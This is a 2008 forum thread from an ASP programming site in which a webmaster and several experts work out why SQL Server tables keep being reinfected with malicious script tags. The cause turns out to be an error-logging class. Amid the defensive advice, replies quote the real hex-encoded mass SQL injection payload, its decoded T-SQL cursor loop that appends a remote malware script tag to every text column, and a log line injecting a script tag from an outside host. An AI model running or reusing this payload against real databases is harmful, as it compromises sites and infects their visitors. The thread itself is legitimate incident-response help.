Is it possible to convert the "Foreword" to a topic?
Help - Can't get rid of the malicious Code
Hello Guest
  
  • Login
• Register…
• Start blog
  • Who, Where, When
• What can I do?
• What to Read?
  • Polls
• Avatars
• Interests
  • Cities and Countries
• Random blog
• Users search
  • Search
• Games
• Tests
• QAIX
  • Сообщества
• Talxy Chat
• Horoscope
• Online
 
Зарегистрируйся!

QAIX > ASP web-programming > Help - Can't get rid of the malicious Code 18 July 2008 16:00:19

  Recent blog posts: 
  They have birthday today: 
  Forums:   
  Discuss: 
  Recent forum topics: 
  Recent forum comments:
  Moderators:

Help - Can't get rid of the malicious Code

Morebeer 18 July 2008 16:00:19
 I got the same problem, hundreds of SQL tables been infected with this
malicious javascript code. But although closing the original injection
leak and also having replaced all strings in all tables, my tables
being infected again and again. I already checked all stored
procedures but couldn't find anything suspicious. Any help how to get
rid of this f* malware is highly appreciated!!!
Add comment
Bob Barrows 15 July 2008 16:41:45 permanent link ]
 morebeer wrote:
I got the same problem, hundreds of SQL tables been infected with this
malicious javascript code. But although closing the original injection
leak and also having replaced all strings in all tables, my tables
being infected again and again. I already checked all stored
procedures but couldn't find anything suspicious. Any help how to get
rid of this f* malware is highly appreciated!!!

It sounds as if you have left at least one door open.
You said you checked your stored procedures ... unless you are executing
dynamic sql statements in your procedures, the procedures are not the
problem. The problem may be the method you are using to call those stored
procedures.

Are you using dynamic sql to call them?
Bad:
cn.execute "yourprocedure '" & querystring_value & "'"

Or are you using parameters to pass your data values?
Good:
http://groups.googl­e.com/group/microsof­t.public.inetserver.­asp.general/msg/5d3c­9d4409dc1701?hl=en

Are you validating data before passing it to the stored procedures? At least
check it for malicious code before passing it to the procedures.

Are you encoding (Server.HTMLEncode)­ all data you retrieve from your
database before writing it to Response?

Frankly, all this advice is generic and can be found in every thread dealing
with this attack that has been posted in the past few weeks. Browse through
them and read what I have forgotten to mention in this post.


--
Microsoft MVP - ASP/ASP.NET
Please reply to the newsgroup. This email account is my spam trap so I
don't check it very often. If you must reply off-line, then remove the
"NO SPAM"


Add comment
Old Pedant 16 July 2008 01:08:00 permanent link ]
 "Bob Barrows [MVP]" wrote:
You said you checked your stored procedures ... unless you are executing
dynamic sql statements in your procedures, the procedures are not the
problem.

Depends on what the symptoms are. If it's just that some of his records
contain JavaScript that, when displayed back on a page later, causes problems
for his users, then of course the SQL SP won't do a thing for him. It will
happily store HTML with JavaScript in a DB field if the field is large enough.

Are you validating data before passing it to the stored procedures? At least
check it for malicious code before passing it to the procedures.

So assuming no SP problems, per se, this is the likely answer. And this one
hasn't really been answered too much in the postings I have seen. Some
people *WANT* to allow HTML in their form fields, so the check for malicious
code is more difficult.

It's easy enough to construct a RegExp that will strip out all
<script>...</script­> content. But what do you do about something such as
<img src="xyz.jpg" onLoad="...a lot of JS code that performs some vicious
stuff...">
??? (Assuming you *wanted* to allow the <img> tags.)

The answer is surely still "RegExp", but now you probably need/want many
RegExp's and they are much more complex.

Probably the right answer is something like many forums use, where you can't
use HTML tags but instead must use the very limited set of forum tags (e.g.,
[b] in place of <b> and [img="...url..."] in place of <img>, etc.) that they
provide. Non of which will produce JavaScript in the result when displayed.




Add comment
Dave Anderson 16 July 2008 02:06:55 permanent link ]
 "morebeer" wrote:
I got the same problem, hundreds of SQL tables been infected with this
malicious javascript code. But although closing the original injection
leak and also having replaced all strings in all tables, my tables
being infected again and again. I already checked all stored
procedures but couldn't find anything suspicious. Any help how to get
rid of this f* malware is highly appreciated!!!

Look in your infected database for users with db_owner role. Take it away
and assign db_datareader and/or individual object (table/view/procedu­re)
rights.

One of those users is being used in your connection string.


--
Dave Anderson

Unsolicited commercial email will be read at a cost of $500 per message. Use
of this email address implies consent to these terms.

Add comment
Morebeer 16 July 2008 14:55:24 permanent link ]
 On 16 Jul., 00:06, "Dave Anderson" <NPQRWPDWZ...@spamm­otel.com> wrote:
"morebeer" wrote:
I got the same problem, hundreds of SQL tables been infected with this
malicious javascript code. But although closing the original injection
leak and also having replaced all strings in all tables, my tables
being infected again and again. I already checked all stored
procedures but couldn't find anything suspicious. Any help how to get
rid of this f* malware is highly appreciated!!!
Look in your infected database for users with db_owner role. Take it away
and assign db_datareader and/or individual object (table/view/procedu­re)
rights.
One of those users is being used in your connection string.
--
Dave Anderson
Unsolicited commercial email will be read at a cost of $500 per message. Use
of this email address implies consent to these terms.

Well, what we did last night is cleaning the database and removed all
malicious code from every single table. Then copied all data to a
blank database and changed the DB user for this database. The ew user
is public db_owner, db_datareader and db_datawriter. An injection
check script was run again before the new DB went live and before any
connection was allowed again. The original injection leak was already
closed last week. Im lost now!..
Add comment
Bob Barrows 16 July 2008 15:17:13 permanent link ]
 morebeer wrote:
On 16 Jul., 00:06, "Dave Anderson" <NPQRWPDWZ...@spamm­otel.com> wrote:
"morebeer" wrote:
I got the same problem, hundreds of SQL tables been infected with
this malicious javascript code. But although closing the original
injection leak and also having replaced all strings in all tables,
my tables
being infected again and again. I already checked all stored
procedures but couldn't find anything suspicious. Any help how to
get
rid of this f* malware is highly appreciated!!!
Look in your infected database for users with db_owner role. Take it
away and assign db_datareader and/or individual object
(table/view/procedu­re) rights.
One of those users is being used in your connection string.

Well, what we did last night is cleaning the database and removed all
malicious code from every single table. Then copied all data to a
blank database and changed the DB user for this database. The ew user
is public db_owner,

Why? Does your application need to perform actions that require db_owner
permissions? I would never assign that role to an account being used in an
application. You need to read the security section in BOL (SQL Books
Online).

db_datareader and db_datawriter. An injection
check script was run again before the new DB went live and before any
connection was allowed again. The original injection leak was already
closed last week. Im lost now!..

Why? Did the attack occur again? If so, then it is likely that your code has
more than one "injection leak".
Have you looked at your IIS logs to see if it contains entries similar to
what a poster in one of the earlier threads reported? Like this:
2008-07-10 03:47:40 GET /sr.asp
title=In%20My%20Nex­t%20Life&artist=Terr­i%20Clark&type=%25&c­ategory=%25&manuf=%2­5&status=av&column=t­itle_asc<script%20sr­c=http://www.xxxxx.m­obi/ngg.js></script>­
80 - 75.88.150.195



--
Microsoft MVP - ASP/ASP.NET
Please reply to the newsgroup. This email account is my spam trap so I
don't check it very often. If you must reply off-line, then remove the
"NO SPAM"


Add comment
Morebeer 16 July 2008 17:05:00 permanent link ]
 On 16 Jul., 13:17, "Bob Barrows [MVP]" <reb01...@NOyahoo.S­PAMcom>
wrote:
morebeer wrote:
On 16 Jul., 00:06, "Dave Anderson" <NPQRWPDWZ...@spamm­otel.com> wrote:
"morebeer" wrote:
I got the same problem, hundreds of SQL tables been infected with
this malicious javascript code. But although closing the original
injection leak and also having replaced all strings in all tables,
my tables
being infected again and again. I already checked all stored
procedures but couldn't find anything suspicious. Any help how to
get
rid of this f* malware is highly appreciated!!!
Look in your infected database for users with db_owner role. Take it
away and assign db_datareader and/or individual object
(table/view/procedu­re) rights.
One of those users is being used in your connection string.
Well, what we did last night is cleaning the database and removed all
malicious code from every single table. Then copied all data to a
blank database and changed the DB user for this database. The ew user
is public db_owner,
Why? Does your application need to perform actions that require db_owner
permissions? I would never assign that role to an account being used in an
application. You need to read the security section in BOL (SQL Books
Online).
db_datareader and db_datawriter. An injection
check script was run again before the new DB went live and before any
connection was allowed again. The original injection leak was already
closed last week. Im lost now!..
Why? Did the attack occur again? If so, then it is likely that your code has
more than one "injection leak".
Have you looked at your IIS logs to see if it contains entries similar to
what a poster in one of the earlier threads reported? Like this:
2008-07-10 03:47:40 GET /sr.asp
title=In%20My%20Nex­t%20Life&artist=Terr­i%20Clark&type=%25&c­ategory=%25&manuf=%2­5&status=av&column=t­itle_asc<script%20sr­c=http://www.xxxxx.m­obi/ngg.js></script>­
80 - 75.88.150.195
--
Microsoft MVP - ASP/ASP.NET
Please reply to the newsgroup. This email account is my spam trap so I
don't check it very often. If you must reply off-line, then remove the
"NO SPAM"- Zitierten Text ausblenden -
- Zitierten Text anzeigen -

Dear Bob, thx for your reply. I certainly checked all httplogs for the
malicious code and certainly did not find anything.However, if the
codes is sent via POST, it is not logged in httplogs.
Additionally, .NET's validateRequest does not allow passing tags
neither via GET nor by POST. I will pickup your recommendation
regarding db_owner permissions and try out. Maybe someone got an idea
how to check the system's SP for any manipulation (at least no new SP
has been created sonce DB server setup, but I can't check for change
date)..

Add comment
Bob Barrows 16 July 2008 17:59:38 permanent link ]
 morebeer wrote:
Dear Bob, thx for your reply. I certainly checked all httplogs for the
malicious code and certainly did not find anything.However, if the
codes is sent via POST, it is not logged in httplogs.
Additionally, .NET's validateRequest does not allow passing tags
neither via GET nor by POST.

You're using .Net?? See below.

You don't use the querystring to pass information? At all? Then you may
be under a different attack than the one I've been reading about.
Anyways, if data containing "<" characters is rejected, the bot I've
been reading about resorts to passing expressions that SQL Server
evaluates to "<" characters:
Here is an example from one of Dave Anderson's recent posts:
Consider this line of logfile:

2008-06-26 07:33:43 xxx.xxx.xxx.xxx - W3SVCN YOURSERVER yyy.yyy.yyy.yyy
80
POST /path/script.asp
id=123;DECLARE%20@S­%20NVARCHAR(4000);SE­T%20@S=CAST(0x440045­0043004C00410
0520045002000400054­00200076006100720063­00680061007200280032­0035003500290
02C0040004300200076­00610072006300680061­00720028003200350035­0029002000440
0450043004C00410052­00450020005400610062­006C0065005F00430075­00720073006F0
0720020004300550052­0053004F005200200046­004F0052002000730065­006C006500630
07400200061002E006E­0061006D0065002C0062­002E006E0061006D0065­0020006600720
06F006D002000730079­0073006F0062006A0065­00630074007300200061­002C007300790
0730063006F006C0075­006D006E007300200062­00200077006800650072­0065002000610
02E00690064003D0062­002E0069006400200061­006E006400200061002E­0078007400790
0700065003D00270075­002700200061006E0064­002000280062002E0078­0074007900700
065003D003900390020­006F007200200062002E­00780074007900700065­003D003300350
020006F007200200062­002E0078007400790070­0065003D003200330031­0020006F00720
0200062002E00780074­007900700065003D0031­0036003700290020004F­00500045004E0
020005400610062006C­0065005F004300750072­0073006F007200200046­0045005400430
0480020004E00450058­0054002000460052004F­004D0020002000540061­0062006C00650
05F0043007500720073­006F007200200049004E­0054004F002000400054­002C004000430
020005700480049004C­00450028004000400046­0045005400430048005F­0053005400410
05400550053003D0030­00290020004200450047­0049004E002000650078­0065006300280
0270075007000640061­007400650020005B0027­002B00400054002B0027­005D002000730
06500740020005B0027­002B00400043002B0027­005D003D007200740072­0069006D00280
063006F006E00760065­00720074002800760061­00720063006800610072­002C005B00270
02B00400043002B0027­005D00290029002B0027­0027003C007300630072­0069007000740
020007300720063003D­0068007400740070003A­002F002F007700770077­002E006A00380
06A0038006800650069­002E0063006E002F006B­002E006A0073003E003C­002F007300630
072006900700074003E­00270027002700290046­00450054004300480020­004E004500580
054002000460052004F­004D0020002000540061­0062006C0065005F0043­0075007200730
06F007200200049004E­0054004F002000400054­002C0040004300200045­004E004400200
043004C004F00530045­0020005400610062006C­0065005F004300750072­0073006F00720
020004400450041004C­004C004F004300410054­00450020005400610062­006C0065005F0
043007500720073006F­007200%20AS%20NVARCH­AR(4000));EXEC(@S);-­-|-|ASP_0113|
Script_timed_out
500 0 112 2443 302781 HTTP/1.1 your.host.header
Mozilla/3.0+(compat­ible;+Indy+Library) -


Grab everything from the first semicolon to the last, and change
[EXEC(@S)]
to [SELECT @S]. Execute against any SQL Server, and examine the result:

DECLARE @T varchar(255),@C varchar(255) DECLARE Table_Cursor CURSOR FOR
select a.name,b.name from sysobjects a,syscolumns b where a.id=b.id and
a.xtype='u' and (b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167)
OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T,@C
WHILE(@@FETCH_STATU­S=0) BEGIN exec('update ['+@T+'] set
['+@C+']=rtrim(convert(varc­har,['+@C+']))+''<script
src=http://www.j8j8­hei.cn/k.js></script­>''')FETCH NEXT FROM Table_Cursor
INTO @T,@C END CLOSE Table_Cursor DEALLOCATE Table_Cursor


I will pickup your recommendation
regarding db_owner permissions and try out. Maybe someone got an idea
how to check the system's SP for any manipulation (at least no new SP
has been created sonce DB server setup, but I can't check for change
date)..

I'm not sure I understand why you believe stored procedures have been
manipulated, but depending on the version of sql you are using, you can
get the modified dates. In SQL 2005 for example, you can query the
sys.procedures view in your database.

SELECT name, type, type_desc, create_date, modify_date
FROM sys.procedures
order by modify_date desc

and you can find procedures containing suspicious text via:
SELECT s.object_id,o.namedefinition
FROM sys.sql_modules s join sys.objects o on
s.object_id=o.objec­t_id
WHERE definition like '%<script>%'

Of course, if you find that procedures have been modified by this
attack, we would like to hear about it.

*******************­********************­********************­*************
*********

There was no way for you to know it (except maybe by browsing through
some of the previous questions before posting yours - always a
recommended practice), but this is a classic (COM-based) asp newsgroup.
ASP.Net is a different technology from classic ASP. While you may be
lucky enough to find a dotnet-savvy person here who can answer your
question, you can eliminate the luck factor by posting your question to
a newsgroup where the dotnet-savvy people hang out. I suggest

microsoft.public.do­tnet.framework.aspne­t.

There are also forums at www.asp.net where you can find a lot of people
to help you.


--
Microsoft MVP -- ASP/ASP.NET
Please reply to the newsgroup. The email account listed in my From
header is my spam trap, so I don't check it very often. You will get a
quicker response by posting to the newsgroup.


Add comment
Morebeer 16 July 2008 18:33:26 permanent link ]
 Dear Bob,

Your advice by now seems to be very helpful.
However, if I run the SELECT(@S) statement I just get returned "1 row
affcted" and this doesn't tell me very much.. How interprete this
result? What happens if I run DELETE (@S) ?

Referring to the SP changedate, the DB runs on SQL Server 2000.That's
probably the reason why the 2 selects on sysobjects don't work...

Add comment
Dave Anderson 16 July 2008 18:41:04 permanent link ]
 "morebeer" wrote:
Your advice by now seems to be very helpful.
However, if I run the SELECT(@S) statement I just get returned "1 row
affcted" and this doesn't tell me very much.. How interprete this
result? What happens if I run DELETE (@S) ?

I think you are referring to the variable in the injection attempt, in which
case DELETE @S makes no sense. Does this?

DECLARE @N INT
SET @N = 1
DELETE @N

Trying DELETE on a VARCHAR(4000) is no different.


--
Dave Anderson

Unsolicited commercial email will be read at a cost of $500 per message. Use
of this email address implies consent to these terms.

Add comment
Morebeer 16 July 2008 18:43:29 permanent link ]
 bzw: Our malware replacement script looks quite similar to this one
below, and we're running it in loop, so that's the reason why I
suspect there's a SP inserting new malicious entries into the DB as I
can't explain this re-infection else...

DECLARE @T varchar(255),@C varchar(255) DECLARE Table_Cursor CURSOR
FOR
select a.name,b.name from sysobjects a,syscolumns b where a.id=b.id
and
a.xtype='u' and (b.xtype=99 or b.xtype=35 or b.xtype=231 or
b.xtype=167)
OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T,@C
WHILE(@@FETCH_STATU­S=0) BEGIN exec('update ['+@T+'] set
['+@C+']=rtrim(convert(varc­har,['+@C+']))+''<script
src=http://www.j8j8­hei.cn/k.js></script­>''')FETCH NEXT FROM
Table_Cursor
INTO @T,@C END CLOSE Table_Cursor DEALLOCATE Table_Cursor
Add comment
Bob Barrows 16 July 2008 18:45:19 permanent link ]
 morebeer wrote:
Dear Bob,
Your advice by now seems to be very helpful.
However, if I run the SELECT(@S) statement I just get returned "1 row
affcted"

Where did you see a "SELECT(@S)" statement?

and this doesn't tell me very much.. How interprete this
result? What happens if I run DELETE (@S) ?
Referring to the SP changedate, the DB runs on SQL Server 2000.That's
probably the reason why the 2 selects on sysobjects don't work...

I don't have time to go digging into BOL right now, but there is
definitely a way to get similar information from SQL 2000. If you can't
find it in BOL yourself, I suggest posting to a sqlserver group (IIRC it
involved querying syscomments ... or maybe one of the INFORMATION_SCHEMA
views)

--
Microsoft MVP -- ASP/ASP.NET
Please reply to the newsgroup. The email account listed in my From
header is my spam trap, so I don't check it very often. You will get a
quicker response by posting to the newsgroup.


Add comment
Bob Barrows 16 July 2008 18:56:27 permanent link ]
 morebeer wrote:
bzw: Our malware replacement script looks quite similar to this one
below, and we're running it in loop, so that's the reason why I
suspect there's a SP inserting new malicious entries into the DB as I
can't explain this re-infection else...

You're saying the sql statement is being inserted into your database
tables?
DECLARE @T varchar(255),@C varchar(255) DECLARE Table_Cursor CURSOR
FOR
select a.name,b.name from sysobjects a,syscolumns b where a.id=b.id
and
a.xtype='u' and (b.xtype=99 or b.xtype=35 or b.xtype=231 or
b.xtype=167)
OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T,@C
WHILE(@@FETCH_STATU­S=0) BEGIN exec('update ['+@T+'] set
['+@C+']=rtrim(convert(varc­har,['+@C+']))+''<script
Table_Cursor
INTO @T,@C END CLOSE Table_Cursor DEALLOCATE Table_Cursor

Well then, you are having the same problem as everyone else and you have
not closed the sql injection holes. Please scrutinize your code for any
instances where you are concatenating strings together into sql
statements and replace them with parameterized statements.

In the meantime, you might want to put some constraints on the database
character columns to prevent the insertion of this malicious code

--
Microsoft MVP -- ASP/ASP.NET
Please reply to the newsgroup. The email account listed in my From
header is my spam trap, so I don't check it very often. You will get a
quicker response by posting to the newsgroup.


Add comment
Dave Anderson 16 July 2008 18:57:54 permanent link ]
 "morebeer" wrote:
bzw: Our malware replacement script looks quite similar to this one
below, and we're running it in loop, so that's the reason why I
suspect there's a SP inserting new malicious entries into the DB as I
can't explain this re-infection else...

I don't know how many times you need to be told this, but you must remove
db_owner (and possibly db_datawriter) role from all users on that database.

Let's put it as simply as possible. The database cannot be corrupted if no
user has INSERT or UPDATE privileges.

Once you have established that, you will have stopped these injections. Your
next task is to restore only those privileges needed, on an object-by-object
basis.

There is nothing else I can say. If you refuse to stop updates, start
learning to enjoy the full restore.




--
Dave Anderson

Unsolicited commercial email will be read at a cost of $500 per message. Use
of this email address implies consent to these terms.

Add comment
Morebeer 18 July 2008 15:42:38 permanent link ]
 Ok, final status update... We finally got rid of that f**** virus. We
were wondering how our websites still got infected althuogh we already
had installed proper request variable checks. The reason finally was
the errorlog class itself; whenever malicious code was posted, the
error class logged the malicious code and so it spreaded again thru
our database. This may help others who also wonder how injection is
till possible although request vars properly validated.
Add comment
Bob Barrows 18 July 2008 16:00:19 permanent link ]
 morebeer wrote:
Ok, final status update... We finally got rid of that f**** virus. We
were wondering how our websites still got infected althuogh we already
had installed proper request variable checks. The reason finally was
the errorlog class itself; whenever malicious code was posted, the
error class logged the malicious code and so it spreaded again thru
our database. This may help others who also wonder how injection is
till possible although request vars properly validated.

Thanks for the update. Hopefully it will help someone.
--
Microsoft MVP - ASP/ASP.NET
Please reply to the newsgroup. This email account is my spam trap so I
don't check it very often. If you must reply off-line, then remove the
"NO SPAM"


Add comment
 

Add new comment

As:
Login:  Password:  
 
 
  
 
Пожалуйста, относитесь к собеседникам уважительно, не используйте нецензурные слова, не злоупотребляйте заглавными буквами, не публикуйте рекламу и объявления о купле/продаже, а также материалы нарушающие сетевой этикет или УК РФ.


QAIX > ASP web-programming > Help - Can't get rid of the malicious Code 18 July 2008 16:00:19

see also:
Advanced use of iText
Small Text/Big Graphics/One Fell Off
JPedal Image Thumbnail Sample Code
пройди тесты:
Do you know women?
see also:
AntiVir Removal Tool for Windows ...
Vendor unveils USB Serial-ATA dongle
Elecom Offers Advanced 3D Laser Mouse

  Copyright © 2001—2008 QAIX
Idea: Miсhael Monashev
Помощь и задать вопросы можно в сообществе support.qaix.com.
Сообщения об ошибках оставляем в сообществе bugs.qaix.com.
Предложения и комментарии пишем в сообществе suggest.qaix.com.
Информация для родителей.
Write us at:
If you would like to report an abuse of our service, such as a spam message, please .